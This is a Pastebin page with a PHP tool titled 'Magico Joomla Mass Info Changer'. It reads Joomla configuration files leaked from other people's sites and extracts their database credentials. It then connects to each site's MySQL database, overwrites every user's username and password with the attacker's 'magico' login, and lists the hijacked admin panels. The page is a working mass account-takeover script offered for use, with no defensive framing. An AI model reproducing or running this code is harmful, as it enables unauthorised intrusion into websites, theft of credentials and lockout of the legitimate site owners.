Advertisement
Elmagico

Magico Joomla Mass Info Changer

Jul 3rd, 2015
1,689
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.91 KB | None | 0 0
  1. <html>
  2. <head>
  3. <meta content="text/html; charset=ISO-8859-1"
  4. http-equiv="content-type">
  5. <title>.:! Magico Joomla Mass Info Changer!:.</title>
  6. </head>
  7. <body style="background-color: black; color: rgb(0, 0, 0);"
  8. alink="#ee0000" link="#0000ee" vlink="#551a8b">
  9. <div style="text-align: left;"><span
  10. style="color: rgb(102, 102, 102); font-weight: bold;">.:!~@# </span><span
  11. style="font-weight: bold; color: rgb(0, 153, 0);">Joomla Config's
  12. Mass Info Changer</span><span
  13. style="color: rgb(51, 204, 0); font-weight: bold;"> <span
  14. style="color: rgb(51, 51, 255);"></span><span
  15. style="color: rgb(102, 102, 102);">#@~!:.</span></span><br>
  16. <span style="color: rgb(51, 204, 0); font-weight: bold;"><span
  17. style="color: rgb(153, 153, 0);"></span></span> &nbsp;&nbsp;
  18. &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; <span
  19. style="color: rgb(102, 102, 102);">&nbsp; .:</span><span
  20. style="color: rgb(102, 102, 102); font-weight: bold;"> BY: <a
  21. href="https://www.facebook.com/ElKiller.2013">Elmagico</a></span><span
  22. style="color: rgb(102, 102, 102);"> :.</span><br>
  23. <span style="color: rgb(51, 204, 0); font-weight: bold;"><span
  24. style="color: rgb(153, 153, 0);"><img
  25. style="width: 306px; height: 152px;" alt=""
  26. src="http://localhost/x.jpg"></span></span>
  27.  
  28. <span style="color: rgb(0, 153, 0); font-weight: bold;">
  29.  
  30. <?php
  31. set_time_limit(0);
  32. error_reporting(0);
  33. echo'<form method="post">
  34. <textarea name="sites" cols="70" rows="12" placeholder="http://www.site.com/sym/jo-config.txt"></textarea><br>
  35. <input name="change" value="Change" type="submit"/>
  36. </form>';
  37. ///////////////////////////////
  38. $sites =$_POST['sites'];
  39. $change = $_POST['change'];
  40. //////////////////////////////////////////////////////////////////////
  41. if(isset($change) && $sites != ""){
  42. $sits = explode("\r\n",$sites);
  43.  
  44. foreach($sits as $site){
  45.     $site = trim($site);
  46.     $cn = @file_get_contents($site);
  47.         if(preg_match("#class JConfig#i", $cn)){
  48.         preg_match('#\$host = \'(.*?)\'#i', $cn, $DB_HOST);
  49.         preg_match('#\$user = \'(.*?)\'#i', $cn, $DB_USER);
  50.         preg_match('#\$password = \'(.*?)\'#i', $cn, $DB_PASSWORD);
  51.         preg_match('#\$db = \'(.*?)\'#i', $cn, $DB_NAME);
  52.         preg_match('#\$dbprefix = \'(.*?)\'#i', $cn, $dbprefix);
  53.                
  54.         preg_match("#fromname = '(.*?)'#i", $cn, $jourl1);  // get joomla url
  55.         preg_match("#mailfrom = '(.*?)@(.*?)'#i", $cn, $jourl2);  //get joomla url
  56.        
  57.        
  58.         $con = @mysql_connect($DB_HOST[1],$DB_USER[1],$DB_PASSWORD[1]);
  59.             if($con){
  60.             $db = @mysql_select_db($DB_NAME[1],$con);
  61.                 if($db){
  62.                 $q = @mysql_query("UPDATE ".$dbprefix[1]."users SET username ='magico' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
  63.                    
  64.                         if($q){
  65.                        
  66.                         echo "----------------------------------------------------------------------------------------------------------------------<br>";
  67.                         preg_match('#http://(.*)/(.*)\.txt#',$site,$txt);
  68.                         echo "<span style=\"color: rgb(0, 153, 0); font-weight: bold;\">[#] </span><span style=\"color: rgb(51, 204, 0); font-weight: bold;\">$txt[2] :</span>"."  "."[User]= <span style=\"color: rgb(153, 153, 0); font-weight: bold;\">magico </span>[Pass]= <span style=\"color: rgb(153, 153, 0); font-weight: bold;\">123456789 </span>:"."  "."[site]<span style=\"color: rgb(204, 51, 204); font-weight: bold;\"> <a href=\"http://$jourl1[1]/administrator\">$jourl1[1]  </a></span>.[site]<span style=\"color: rgb(204, 51, 204); font-weight: bold;\"> <a href=\"http://$jourl2[2]/administrator\">$jourl2[2]</a></span>            <br>";
  69.  
  70.                         }//end if
  71.                         else{
  72.  
  73.  
  74.                        
  75.                             echo
  76. "----------------------------------------------------------------------------------------------------------------------<br>";
  77.                             preg_match('#http://(.*)/(.*)\.txt#',$site,$txt);
  78.                             echo "-----------------------------------------------------------------------------------------------<br>";
  79.                             echo"<span style=\"color: red; font-weight: bold;\">[!] $txt[2] : Error query"."  " ."</span><br>";
  80.                             }
  81.                        
  82.                         }/*end if*/else{
  83.                             preg_match('#http://(.*)/(.*)\.txt#',$site,$txt7);
  84.                             echo "-----------------------------------------------------------------------------------------------<br>";
  85.                             echo"<span style=\"color: red; font-weight: bold;\">[!] $txt7[2]: ERRoR query</span><br>";}
  86.                        
  87.                            
  88.                 }/*end if*/else{
  89.                     preg_match('#http://(.*)/(.*)\.txt#',$site,$txt6);
  90.                     echo "-----------------------------------------------------------------------------------------------<br>";
  91.                     echo "<span style=\"color: red; font-weight: bold;\">[!] $txt6[2] : [!]can't select the database</span><br>";}
  92.                
  93.             }/*end if*/else{
  94.             preg_match('#http://(.*)/(.*)\.txt#',$site,$txt0);
  95.             echo "-----------------------------------------------------------------------------------------------<br>";
  96.             echo "<span style=\"color: red; font-weight: bold;\">[!] $txt0[2] : [!]can't connect to the database</span><br>";}
  97. /////////////////////////////////////  
  98. }//end foreach
  99. } //endif
  100. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement